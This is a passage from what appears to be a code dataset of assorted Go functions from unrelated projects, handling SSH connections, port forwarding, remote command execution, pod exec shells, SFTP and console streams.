nil\n }\n\n client, err := ssh.Dial(\"tcp\", fmt.Sprintf(\"%s:%d\", s.addr, s.port), config)\n if err != nil {\n return nil, err\n }\n s.mu.Lock()\n defer s.mu.Unlock()\n s.clients[user] = client\n return client, nil\n}", "func (client *SdnClient) SSHPortForwarding(localPort, targetPort uint16,\n\ttargetIP string) (close func(), err error) {\n\tfwdArgs := fmt.Sprintf(\"%d:%s:%d\", localPort, targetIP, targetPort)\n\targs := client.sshArgs(\"-v\", \"-T\", \"-L\", fwdArgs, \"tail\", \"-f\", \"/dev/null\")\n\tcmd := exec.Command(\"ssh\", args...)\n\tstdout, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcmd.Stderr = cmd.Stdout\n\terr = cmd.Start()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttunnelReadyCh := make(chan bool, 1)\n\tgo func(tunnelReadyCh chan<- bool) {\n\t\tvar listenerReady, fwdReady, sshReady bool\n\t\tfwdMsg := fmt.Sprintf(\"Local connections to LOCALHOST:%d \" +\n\t\t\t\"forwarded to remote address %s:%d\", localPort, targetIP, targetPort)\n\t\tlistenMsg := fmt.Sprintf(\"Local forwarding listening on 127.0.0.1 port %d\",\n\t\t\tlocalPort)\n\t\tsshReadyMsg := \"Entering interactive session\"\n\t\tscanner := bufio.NewScanner(stdout)\n\t\tfor scanner.Scan() {\n\t\t\tline := scanner.Text()\n\t\t\tif strings.Contains(line, fwdMsg) {\n\t\t\t\tfwdReady = true\n\t\t\t}\n\t\t\tif strings.Contains(line, listenMsg) {\n\t\t\t\tlistenerReady = true\n\t\t\t}\n\t\t\tif strings.Contains(line, sshReadyMsg) {\n\t\t\t\tsshReady = true\n\t\t\t}\n\t\t\tif listenerReady && fwdReady && sshReady {\n\t\t\t\ttunnelReadyCh <- true\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}(tunnelReadyCh)\n\tclose = func() {\n\t\terr = cmd.Process.Kill()\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"failed to kill %s: %v\", cmd, err)\n\t\t} else {\n\t\t\t_ = cmd.Wait()\n\t\t}\n\t}\n\t// Give tunnel some time to open.\n\tselect {\n\tcase <-tunnelReadyCh:\n\t\t// Just an extra cushion for the tunnel to establish.\n\t\ttime.Sleep(500 * time.Millisecond)\n\t\treturn close, nil\n\tcase <-time.After(30 * time.Second):\n\t\tclose()\n\t\treturn nil, fmt.Errorf(\"failed to create SSH tunnel %s in time\", fwdArgs)\n\t}\n}", "func (c *Client) ExecStream(options *kubectl.ExecStreamOptions) error {\n\treturn nil\n}", "func (rhost *rhostData) cmdConnect(rec *receiveData) {\n\n\t// Parse cmd connect data\n\tpeer, addr, port, err := rhost.cmdConnectData(rec)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// Does not process this command if peer already connected\n\tif _, ok := rhost.teo.arp.find(peer); ok {\n\t\tteolog.DebugVv(MODULE, \"peer\", peer, \"already connected, suggests address\",\n\t\t\taddr, \"port\", port)\n\t\treturn\n\t}\n\n\t// Does not create connection if connection with this address an port\n\t// already exists\n\tif _, ok := rhost.teo.arp.find(addr, int(port), 0); ok {\n\t\tteolog.DebugVv(MODULE, \"connection\", addr, int(port), 0, \"already exsists\")\n\t\treturn\n\t}\n\n\tgo func() {\n\t\trhost.teo.wg.Add(1)\n\t\tdefer rhost.teo.wg.Done()\n\t\t// Create new connection\n\t\ttcd := rhost.teo.td.ConnectChannel(addr, int(port), 0)\n\n\t\t// Replay to address received in command data\n\t\trhost.teo.sendToTcd(tcd, CmdNone, []byte{0})\n\n\t\t// Disconnect this connection if it does not added to peers arp table during timeout\n\t\t//go func(tcd *trudp.ChannelData) {\n\t\ttime.Sleep(1500 * time.Millisecond)\n\t\tif !rhost.running {\n\t\t\tteolog.DebugVv(MODULE, \"channel discovery task finished...\")\n\t\t\treturn\n\t\t}\n\t\tif _, ok := rhost.teo.arp.find(tcd); !ok {\n\t\t\tteolog.DebugVv(MODULE, \"connection\", addr, int(port), 0,\n\t\t\t\t\"with peer does not established during timeout\")\n\t\t\ttcd.Close()\n\t\t\treturn\n\t\t}\n\t}()\n}", "func (c *Client) ExecStreamWithTransport(options *kubectl.ExecStreamWithTransportOptions) error {\n\treturn nil\n}", "func (ch *InternalChannel) Connect(c *Client) {}", "func (client *Client) Connect() error {\n\tkeys := ssh.Auth{\n\t\tKeys: []string{client.PrivateKeyFile},\n\t}\n\tsshterm, err := ssh.NewNativeClient(client.User, client.Host, \"SSH-2.0-MyCustomClient-1.0\", client.Port, &keys, nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to request shell - %s\", err)\n\t}\n\terr = sshterm.Shell()\n\tif err != nil && err.Error() != \"exit status 255\" {\n\t\treturn fmt.Errorf(\"Failed to request shell - %s\", err)\n\t}\n\treturn nil\n}", "func NewSSHCommand(p *config.KfParams) *cobra.Command {\n\tvar (\n\t\tdisableTTY bool\n\t\tcommand []string\n\t\tcontainer string\n\t)\n\n\tcmd := &cobra.Command{\n\t\tUse: \"ssh APP_NAME\",\n\t\tShort: \"Open a shell on an App instance.\",\n\t\tExample: `\n\t\t# Open a shell to a specific App\n\t\tkf ssh myapp\n\n\t\t# Open a shell to a specific Pod\n\t\tkf ssh pod/myapp-revhex-podhex\n\n\t\t# Start a different command with args\n\t\tkf ssh myapp -c /my/command -c arg1 -c arg2\n\t\t`,\n\t\tArgs: cobra.ExactArgs(1),\n\t\tLong: `\n\t\tOpens a shell on an App instance using the Pod exec endpoint.\n\n\t\tThis command mimics CF's SSH command by opening a connection to the\n\t\tKubernetes control plane which spawns a process in a Pod.\n\n\t\tThe command connects to an arbitrary Pod that matches the App's runtime\n\t\tlabels. If you want a specific Pod, use the pod/<podname> notation.\n\n\t\tNOTE: Traffic is encrypted between the CLI and the control plane, and\n\t\tbetween the control plane and Pod. A malicious Kubernetes control plane\n\t\tcould observe the traffic.\n\t\t`,\n\t\tValidArgsFunction: completion.AppCompletionFn(p),\n\t\tSilenceUsage: true,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tctx := cmd.Context()\n\t\t\tif err := p.ValidateSpaceTargeted(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tstreamExec := execstreamer.Get(ctx)\n\n\t\t\tenableTTY := !disableTTY\n\t\t\tappName := args[0]\n\n\t\t\tpodSelector := metav1.ListOptions{}\n\t\t\tif strings.HasPrefix(appName, podPrefix) {\n\t\t\t\tpodName := strings.TrimPrefix(appName, podPrefix)\n\t\t\t\tpodSelector.FieldSelector = fields.OneTermEqualSelector(\"metadata.name\", podName).String()\n\t\t\t} else {\n\t\t\t\tappLabels := v1alpha1.AppComponentLabels(appName, \"app-server\")\n\t\t\t\tpodSelector.LabelSelector = labels.SelectorFromSet(appLabels).String()\n\t\t\t}\n\n\t\t\texecOpts := corev1.PodExecOptions{\n\t\t\t\tContainer: container,\n\t\t\t\tCommand: command,\n\t\t\t\tStdin: true,\n\t\t\t\tStdout: true,\n\t\t\t\tStderr: true,\n\t\t\t\tTTY: enableTTY,\n\t\t\t}\n\n\t\t\tt := term.TTY{\n\t\t\t\tOut: cmd.OutOrStdout(),\n\t\t\t\tIn: cmd.InOrStdin(),\n\t\t\t\tRaw: true,\n\t\t\t}\n\n\t\t\tsizeQueue := t.MonitorSize(t.GetSize())\n\n\t\t\tstreamOpts := remotecommand.StreamOptions{\n\t\t\t\tStdin: cmd.InOrStdin(),\n\t\t\t\tStdout: cmd.OutOrStdout(),\n\t\t\t\tStderr: cmd.ErrOrStderr(),\n\t\t\t\tTty: enableTTY,\n\t\t\t\tTerminalSizeQueue: sizeQueue,\n\t\t\t}\n\n\t\t\t// Set up a TTY locally if it's enabled.\n\t\t\tif fd, isTerm := dockerterm.GetFdInfo(streamOpts.Stdin); isTerm && enableTTY {\n\t\t\t\toriginalState, err := dockerterm.MakeRaw(fd)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tdefer dockerterm.RestoreTerminal(fd, originalState)\n\t\t\t}\n\n\t\t\treturn streamExec.Stream(ctx, podSelector, execOpts, streamOpts)\n\t\t},\n\t}\n\n\tcmd.Flags().StringArrayVarP(\n\t\t&command,\n\t\t\"command\",\n\t\t\"c\",\n\t\t[]string{\"/bin/bash\"},\n\t\t\"Command to run for the shell. Subsequent definitions will be used as args.\",\n\t)\n\n\tcmd.Flags().StringVar(\n\t\t&container,\n\t\t\"container\",\n\t\tv1alpha1.DefaultUserContainerName,\n\t\t\"Container to start the command in.\",\n\t)\n\n\tcmd.Flags().BoolVarP(\n\t\t&disableTTY,\n\t\t\"disable-pseudo-tty\",\n\t\t\"T\",\n\t\tfalse,\n\t\t\"Don't use a TTY when executing.\",\n\t)\n\n\treturn cmd\n}", "func (sshClient *SSHClient) MuxShell(w io.Writer, r, e io.Reader) (chan<- string, <-chan string) {\n\tin := make(chan string, 5)\n\tout := make(chan string, 5)\n\tvar wg sync.WaitGroup\n\twg.Add(1) //for the shell itself\n\tgo func() {\n\t\tfor cmd := range in {\n\t\t\twg.Add(1)\n\t\t\tw.Write([]byte(cmd + \"\\n\"))\n\t\t\twg.Wait()\n\t\t}\n\t}()\n\n\tgo func() {\n\t\tvar (\n\t\t\tbuf [2 * 1024 * 1024]byte\n\t\t\tt int\n\t\t)\n\t\tfor {\n\n\t\t\t//read next buf n.\n\t\t\tn, err := r.Read(buf[t:])\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"ReadError:\" + err.Error())\n\t\t\t\tclose(in)\n\t\t\t\tclose(out)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tt += n\n\t\t\tresult := string(buf[:t])\n\n\t\t\tline := string(buf[t-n : t])\n\t\t\tfmt.Printf(\"Line:=>%v\\n\", line)\n\n\t\t\tif strings.Contains(line, sshClient.MoreTag) {\n\t\t\t\tif sshClient.IsMoreLine {\n\t\t\t\t\tt -= n\n\t\t\t\t} else {\n\t\t\t\t\tt -= len(sshClient.MoreTag)\n\t\t\t\t}\n\t\t\t\tw.Write([]byte(sshClient.MoreWant))\n\t\t\t} else if len(sshClient.ColorTag) > 0 {\n\n\t\t\t\t//invisible char\n\t\t\t\tif strings.HasSuffix(sshClient.ColorTag, \"H\") {\n\t\t\t\t\tcolorTag := strings.Replace(sshClient.ColorTag, \"H\", \"\", -1)\n\t\t\t\t\ttag, err := hex.DecodeString(colorTag)\n\t\t\t\t\tif err == nil {\n\t\t\t\t\t\t// remove colortag\n\t\t\t\t\t\tvar newBuf []byte\n\t\t\t\t\t\tnewBuf = RemoveStrByTagBytes([]byte(line), tag, tag, \"\\r\\n\")\n\n\t\t\t\t\t\tt -= n\n\t\t\t\t\t\tcopy(buf[t:], newBuf[:])\n\t\t\t\t\t\tt += len(newBuf)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// remove colortag\n\t\t\t\t\tvar newBuf []byte\n\t\t\t\t\tnewBuf = RemoveStringByTag([]byte(line), sshClient.ColorTag, sshClient.ColorTag, \"\\r\\n\")\n\n\t\t\t\t\tt -= n\n\t\t\t\t\tcopy(buf[t:], newBuf[:])\n\t\t\t\t\tt += len(newBuf)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif strings.Contains(result, \"username:\") ||\n\t\t\t\tstrings.Contains(result, \"password:\") ||\n\t\t\t\tstrings.Contains(result, sshClient.ReadOnlyPrompt) ||\n\t\t\t\t(len(sshClient.ReadOnlyPrompt2) > 0 && strings.Contains(result, sshClient.ReadOnlyPrompt2)) ||\n\t\t\t\tstrings.Contains(result, sshClient.SysEnablePrompt) {\n\n\t\t\t\tsOut := string(buf[:t])\n\t\t\t\tfmt.Printf(\"DataOut:%v\\n\", sOut)\n\n\t\t\t\tout <- string(buf[:t])\n\t\t\t\tt = 0\n\t\t\t\twg.Done()\n\t\t\t}\n\t\t}\n\t}()\n\n\tfmt.Printf(\"ExecuteResult:=>%v\\n\", out)\n\treturn in, out\n}", "func connectChart(ctx context.Context, d *dut.DUT, hostname string) (*ssh.Conn, error) {\n\tvar sopt ssh.Options\n\tssh.ParseTarget(hostname, &sopt)\n\tsopt.KeyDir = d.KeyDir()\n\tsopt.KeyFile = d.KeyFile()\n\tsopt.ConnectTimeout = 10 * time.Second\n\treturn ssh.New(ctx, &sopt)\n}", "func EchoSCSICommand(path, content string) error {\n\t//out, err := Execute(\"tee\", \"-a\", path, content)\n\tcmd := fmt.Sprintf(`echo '%s' > %s`, content, path)\n\t_, err := osBrick.Execute(\"sh\", \"-c\", cmd)\n\treturn err\n}", "func Run(connectAs string, connectTo string, key string) {\n\ttarget := connectAs + \"@\" + connectTo\n\tlog.Info(\"Connecting as \" + target)\n\n\texecutable := \"sshpass\"\n\tparams := []string{\n\t\t\"-p\", key, \"ssh\", \"-o\", \"StrictHostKeyChecking=no\", \"-t\", \"-t\", target,\n\t}\n\tlog.Infof(\"Launching: %s %s\", executable, strings.Join(params, \" \"))\n\n\tif log.GetLevel() == log.DebugLevel {\n\t\tfor i, param := range params {\n\t\t\tif param == \"ssh\" {\n\t\t\t\ti = i + 1\n\t\t\t\t// Yes: this is crazy, but this inserts an element into a slice\n\t\t\t\tparams = append(params[:i], append([]string{\"-v\"}, params[i:]...)...)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tcmd := exec.Command(executable, params...)\n\tcmd.Stderr = os.Stderr\n\tcmd.Stdout = os.Stdout\n\tcmd.Stdin = os.Stdin\n\terr := cmd.Start()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tcmd.Wait()\n\tlog.Infof(\"Just ran subprocess %d, exiting\\n\", cmd.Process.Pid)\n}", "func superNetperfStream(s *helpers.SSHMeta, client string, server string, num int) *helpers.CmdRes {\n\treturn superNetperfStreamIPv4(s, client, server, num)\n}", "func (s *SSH) Run(command string) (outStr string, err error) {\n\toutChan, doneChan, err := s.stream(command)\n\tif err != nil {\n\t\treturn outStr, err\n\t}\n\n\tdone := false\n\tfor !done {\n\t\tselect {\n\t\tcase <-doneChan:\n\t\t\tdone = true\n\t\tcase line := <-outChan:\n\t\t\t// TODO ew.. this is nasty\n\t\t\toutStr += line + \"\\n\"\n\n\t\t}\n\t}\n\n\treturn outStr, err\n}", "func Stream(logGroup, commandID, instanceID *string) {\n\tlogger := log.New(os.Stdout, *instanceID+\" \", 0)\n\n\tlogStreamerOut := logstreamer.NewLogstreamer(logger, \"stdout\", false)\n\tdefer logStreamerOut.Close()\n\n\tgo streamFromCloudwatch(\n\t\tlogStreamerOut,\n\t\t*logGroup,\n\t\tfmt.Sprintf(\"%s/%s/aws-runShellScript/stdout\", *commandID, *instanceID),\n\t\tos.Stderr,\n\t)\n\n\tlogStreamerErr := logstreamer.NewLogstreamer(logger, \"stderr\", false)\n\tdefer logStreamerErr.Close()\n\n\tgo streamFromCloudwatch(\n\t\tlogStreamerErr,\n\t\t*logGroup,\n\t\tfmt.Sprintf(\"%s/%s/aws-runShellScript/stderr\", *commandID, *instanceID),\n\t\tos.Stdout,\n\t)\n\n}", "func ExecSSH(ctx context.Context, id Identity, cmd []string, opts plugin.ExecOptions) (plugin.ExecCommand, error) {\n\t// find port, username, etc from .ssh/config\n\tport, err := ssh_config.GetStrict(id.Host, \"Port\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tuser := id.User\n\tif user == \"\" {\n\t\tif user, err = ssh_config.GetStrict(id.Host, \"User\"); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif user == \"\" {\n\t\tuser = \"root\"\n\t}\n\n\tstrictHostKeyChecking, err := ssh_config.GetStrict(id.Host, \"StrictHostKeyChecking\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tconnection, err := sshConnect(id.Host, port, user, strictHostKeyChecking != \"no\")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to connect: %s\", err)\n\t}\n\n\t// Run command via session\n\tsession, err := connection.NewSession()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to create session: %s\", err)\n\t}\n\n\tif opts.Tty {\n\t\t// sshd only processes signal codes if a TTY has been allocated. So set one up when requested.\n\t\tmodes := ssh.TerminalModes{ssh.ECHO: 0, ssh.TTY_OP_ISPEED: 14400, ssh.TTY_OP_OSPEED: 14400}\n\t\tif err := session.RequestPty(\"xterm\", 40, 80, modes); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"Unable to setup a TTY: %v\", err)\n\t\t}\n\t}\n\n\texecCmd := plugin.NewExecCommand(ctx)\n\tsession.Stdin, session.Stdout, session.Stderr = opts.Stdin, execCmd.Stdout(), execCmd.Stderr()\n\n\tif opts.Elevate {\n\t\tcmd = append([]string{\"sudo\"}, cmd...)\n\t}\n\n\tcmdStr := shellquote.Join(cmd...)\n\tif err := session.Start(cmdStr); err != nil {\n\t\treturn nil, err\n\t}\n\texecCmd.SetStopFunc(func() {\n\t\t// Close the session on context cancellation. Copying will block until there's more to read\n\t\t// from the exec output. For an action with no more output it may never return.\n\t\t// If a TTY is setup and the session is still open, send Ctrl-C over before closing it.\n\t\tif opts.Tty {\n\t\t\tactivity.Record(ctx, \"Sent SIGINT on context termination: %v\", session.Signal(ssh.SIGINT))\n\t\t}\n\t\tactivity.Record(ctx, \"Closing session on context termination for %v: %v\", id.Host, session.Close())\n\t})\n\n\t// Wait for session to complete and stash result.\n\tgo func() {\n\t\terr := session.Wait()\n\t\tactivity.Record(ctx, \"Closing session for %v: %v\", id.Host, session.Close())\n\t\texecCmd.CloseStreamsWithError(nil)\n\t\tif err == nil {\n\t\t\texecCmd.SetExitCode(0)\n\t\t} else if exitErr, ok := err.(*ssh.ExitError); ok {\n\t\t\texecCmd.SetExitCode(exitErr.ExitStatus())\n\t\t} else {\n\t\t\texecCmd.SetExitCodeErr(err)\n\t\t}\n\t}()\n\treturn execCmd, nil\n}", "func ExecShells(sshcfg *ssh.ClientConfig, commands []HostCmd, stdout io.Writer, stderr io.Writer) error {\n\tvar wg sync.WaitGroup\n\toutBuff := make(chan string, 100)\n\terrBuff := make(chan string, 100)\n\t// fork the commands\n\tfor _, cmd := range commands {\n\t\twg.Add(1)\n\t\tgo func(cmd HostCmd) {\n\t\t\t// decrement waitgroup when done\n\t\t\tdefer wg.Done()\n\t\t\t// connect ssh\n\t\t\tcli, err := ssh.Dial(\"tcp4\", fmt.Sprintf(\"%s:%d\", cmd.Host, 22), sshcfg)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Error connecting to host %s : %s\", cmd.Host, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tsesh, err := cli.NewSession()\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Error obtaining session on host %s : %s\", cmd.Host, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// pipe outputs\n\t\t\tgo func() {\n\t\t\t\tseshOut, err := sesh.StdoutPipe()\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"Error obtaining session stdout on host %s : %s\", cmd.Host, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\treadLinesToChan(seshOut, \"\", outBuff)\n\t\t\t}()\n\t\t\tgo func() {\n\t\t\t\tseshOut, err := sesh.StderrPipe()\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"Error obtaining session stderr on host %s : %s\", cmd.Host, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\treadLinesToChan(seshOut, fmt.Sprintf(\"%s: \", cmd.Host), errBuff)\n\t\t\t}()\n\t\t\t// issue command with proper env\n\t\t\ttoExec := fmt.Sprintf(\"if [ -f ~/.bashrc ]; then source ~/.bashrc ; fi; %s; exit;\", cmd.Cmd)\n\t\t\terr = sesh.Run(toExec)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Error running command %s on host %s\", toExec, cmd.Host)\n\t\t\t}\n\t\t\tsesh.Close()\n\t\t}(cmd)\n\t}\n\toutDone := make(chan bool)\n\terrDone := make(chan bool)\n\tgo func() {\n\t\tout := bufio.NewWriter(stdout)\n\t\tfor line := range outBuff {\n\t\t\tout.WriteString(line)\n\t\t\tout.WriteByte('\\n')\n\t\t}\n\t\tout.Flush()\n\t\toutDone <- true\n\t\tclose(outDone)\n\t}()\n\tgo func() {\n\t\terr := bufio.NewWriter(stderr)\n\t\tfor line := range errBuff {\n\t\t\terr.WriteString(line)\n\t\t\terr.WriteByte('\\n')\n\t\t}\n\t\terr.Flush()\n\t\terrDone <- true\n\t\tclose(errDone)\n\t}()\n\twg.Wait()\n\tclose(outBuff)\n\tclose(errBuff)\n\t<-outDone\n\t<-errDone\n\treturn nil\n}", "func (client *ExternalClient) Shell(pty bool, args ...string) error {\n\targs = append(client.BaseArgs, args...)\n\tcmd := getSSHCmd(client.BinaryPath, pty, args...)\n\tcmd.Stdin = os.Stdin\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\treturn cmd.Run()\n}", "func call_ssh(cmd string, user string, hosts []string) (result string, error bool) {\n\tresults := make(chan string, 100)\n\ttimeout := time.After(5 * time.Second)\n\n\tfor _, hostname := range hosts {\n\t\tgo func(hostname string) {\n\t\t\tresults <- remote_runner.ExecuteCmd(cmd, user, hostname)\n\t\t}(hostname)\n\t}\n\n\tfor i := 0; i < len(hosts); i++ {\n\t\tselect {\n\t\tcase res := <-results:\n\t\t\t//fmt.Print(res)\n\t\t\tresult = res\n\t\t\terror = false\n\t\tcase <-timeout:\n\t\t\t//fmt.Println(\"Timed out!\")\n\t\t\tresult = \"Time out!\"\n\t\t\terror = true\n\t\t}\n\t}\n\treturn\n}", "func (s *SSHOrch) ExecSSH(userserver, cmd string) string {\n\tclient := s.doLookup(userserver)\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed to create session:\", err)\n\t}\n\tdefer session.Close()\n\t/*\n\t\tstdout, err := session.StdoutPipe()\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"Failed to pipe session stdout:\", err)\n\t\t}\n\n\t\tstderr, err := session.StderrPipe()\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"Failed to pipe session stderr:\", err)\n\t\t}\n\t*/\n\n\tbuf, err := session.CombinedOutput(cmd)\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed to execute cmd:\", err)\n\t}\n\n\t// Network read pushed to background\n\t/*readExec := func(r io.Reader, ch chan []byte) {\n\t\tif str, err := ioutil.ReadAll(r); err != nil {\n\t\t\tch <- str\n\t\t}\n\t}\n\toutCh := make(chan []byte)\n\tgo readExec(stdout, outCh)\n\t*/\n\treturn string(buf)\n}", "func SftpConnect(sshClient *ssh.Client) (*sftp.Client, error) {\n\tsftpClient, err := sftp.NewClient(sshClient)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn sftpClient, nil\n}", "func (m *MinikubeRunner) SSH(cmdStr string) (string, error) {\n\tprofileArg := fmt.Sprintf(\"-p=%s\", m.Profile)\n\tpath, _ := filepath.Abs(m.BinaryPath)\n\n\tcmd := exec.Command(path, profileArg, \"ssh\", cmdStr)\n\tLogf(\"SSH: %s\", cmdStr)\n\tstdout, err := cmd.CombinedOutput()\n\tLogf(\"Output: %s\", stdout)\n\tif err, ok := err.(*exec.ExitError); ok {\n\t\treturn string(stdout), err\n\t}\n\treturn string(stdout), nil\n}", "func ConnectSimpleStreams(url string, args *ConnectionArgs) (ImageServer, error) {\n\tlogger.Debug(\"Connecting to a remote simplestreams server\", logger.Ctx{\"URL\": url})\n\n\t// Cleanup URL\n\turl = strings.TrimSuffix(url, \"/\")\n\n\t// Use empty args if not specified\n\tif args == nil {\n\t\targs = &ConnectionArgs{}\n\t}\n\n\t// Initialize the client struct\n\tserver := ProtocolSimpleStreams{\n\t\thttpHost: url,\n\t\thttpUserAgent: args.UserAgent,\n\t\thttpCertificate: args.TLSServerCert,\n\t}\n\n\t// Setup the HTTP client\n\thttpClient, err := tlsHTTPClient(args.HTTPClient, args.TLSClientCert, args.TLSClientKey, args.TLSCA, args.TLSServerCert, args.InsecureSkipVerify, args.Proxy, args.TransportWrapper)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tserver.http = httpClient\n\n\t// Get simplestreams client\n\tssClient := simplestreams.NewClient(url, *httpClient, args.UserAgent)\n\tserver.ssClient = ssClient\n\n\t// Setup the cache\n\tif args.CachePath != \"\" {\n\t\tif !shared.PathExists(args.CachePath) {\n\t\t\treturn nil, fmt.Errorf(\"Cache directory %q doesn't exist\", args.CachePath)\n\t\t}\n\n\t\thashedURL := fmt.Sprintf(\"%x\", sha256.Sum256([]byte(url)))\n\n\t\tcachePath := filepath.Join(args.CachePath, hashedURL)\n\t\tcacheExpiry := args.CacheExpiry\n\t\tif cacheExpiry == 0 {\n\t\t\tcacheExpiry = time.Hour\n\t\t}\n\n\t\tif !shared.PathExists(cachePath) {\n\t\t\terr := os.Mkdir(cachePath, 0755)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\n\t\tssClient.SetCache(cachePath, cacheExpiry)\n\t}\n\n\treturn &server, nil\n}", "func DialCommand(cmd *exec.Cmd) (*Conn, error) {\n\treader, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\twriter, err := cmd.StdinPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = cmd.Start()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Conn{reader, writer, os.Getpid(), cmd.Process.Pid}, nil\n}", "func DialSSHWithPassword(addr string, username string, password string, cb ssh.HostKeyCallback) (Client, error) {\n\treturn dialSSH(addr, username, ssh.Password(password), cb)\n}", "func SetSSHCommand(command string) {\n\tsshCommand = command\n}", "func RunSSHCommand(SSHHandle *ssh.Client, cmd string, sudo bool, bg bool, logger *log.Logger) (retCode int, stdout, stderr []string) {\n\tlogger.Println(\"Running cmd \" + cmd)\n\tvar stdoutBuf, stderrBuf bytes.Buffer\n\tsshSession, err := SSHHandle.NewSession()\n\tif err != nil {\n\t\tlogger.Printf(\"SSH session creation failed! %s\", err)\n\t\treturn -1, nil, nil\n\t}\n\tdefer sshSession.Close()\n\n\tmodes := ssh.TerminalModes{\n\t\tssh.ECHO: 0, // disable echoing\n\t\tssh.TTY_OP_ISPEED: 14400, // input speed = 14.4kbaud\n\t\tssh.TTY_OP_OSPEED: 14400, // output speed = 14.4kbaud\n\t}\n\n\tif err = sshSession.RequestPty(\"xterm\", 80, 40, modes); err != nil {\n\t\tlogger.Println(\"SSH session Pty creation failed!\")\n\t\treturn -1, nil, nil\n\t}\n\n\tsshOut, err := sshSession.StdoutPipe()\n\tif err != nil {\n\t\tlogger.Println(\"SSH session StdoutPipe creation failed!\")\n\t\treturn -1, nil, nil\n\t}\n\tsshErr, err := sshSession.StderrPipe()\n\tif err != nil {\n\t\tlogger.Println(\"SSH session StderrPipe creation failed!\")\n\t\treturn -1, nil, nil\n\t}\n\n\tshout := io.MultiWriter(&stdoutBuf, (*LogWriter)(logger))\n\tssherr := io.MultiWriter(&stderrBuf, (*LogWriter)(logger))\n\n\tgo func() {\n\t\tio.Copy(shout, sshOut)\n\t}()\n\tgo func() {\n\n\t\tio.Copy(ssherr, sshErr)\n\t}()\n\n\tif bg {\n\t\tcmd = \"nohup sh -c \\\"\" + cmd + \" 2>&1 >/dev/null </dev/null & \\\"\"\n\t} else {\n\t\tcmd = \"sh -c \\\"\" + cmd + \"\\\"\"\n\t}\n\n\tif sudo {\n\t\tcmd = SudoCmd(cmd)\n\t}\n\n\tlogger.Println(\"Running command : \" + cmd)\n\tif err = sshSession.Run(cmd); err != nil {\n\t\tlogger.Println(\"failed command : \" + cmd)\n\t\tswitch v := err.(type) {\n\t\tcase *ssh.ExitError:\n\t\t\tretCode = v.Waitmsg.ExitStatus()\n\t\tdefault:\n\t\t\tretCode = -1\n\t\t}\n\t} else {\n\t\tlogger.Println(\"sucess command : \" + cmd)\n\t\tretCode = 0\n\t}\n\n\tstdout = strings.Split(stdoutBuf.String(), \"\\n\")\n\tstderr = strings.Split(stderrBuf.String(), \"\\n\")\n\tlogger.Println(stdout)\n\tlogger.Println(stderr)\n\tlogger.Println(\"Return code : \" + strconv.Itoa(retCode))\n\n\treturn retCode, stdout, stderr\n\n}", "func (hs *Handshake) OpenedStream(s p2p.Stream) {\n\n}", "func openDUTControlConsole(stream dutcontrol.DutControl_ConsoleClient, req *dutcontrol.ConsoleRequest) (<-chan *dutcontrol.ConsoleSerialData, <-chan *dutcontrol.ConsoleSerialWriteResult, error) {\n\tif err := stream.Send(req); err != nil {\n\t\treturn nil, nil, errors.Wrap(err, \"send request\")\n\t}\n\tresp, err := stream.Recv()\n\tif err != nil {\n\t\treturn nil, nil, errors.Wrap(err, \"recv open\")\n\t}\n\topen := resp.GetOpen()\n\tif open == nil {\n\t\treturn nil, nil, errors.New(\"open response is nil\")\n\t}\n\tif open.Err != \"\" {\n\t\treturn nil, nil, errors.New(string(open.Err))\n\t}\n\tdata := make(chan *dutcontrol.ConsoleSerialData, qSize)\n\twrite := make(chan *dutcontrol.ConsoleSerialWriteResult, qSize)\n\tgo func() {\n\tLoop:\n\t\tfor {\n\t\t\tresp, err := stream.Recv()\n\t\t\tif err == io.EOF {\n\t\t\t\ttesting.ContextLog(stream.Context(), \"Dutcontrol recv EOF\")\n\t\t\t\tbreak\n\t\t\t} else if err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tswitch op := resp.Type.(type) {\n\t\t\tcase *dutcontrol.ConsoleResponse_SerialData:\n\t\t\t\tdata <- op.SerialData\n\t\t\tcase 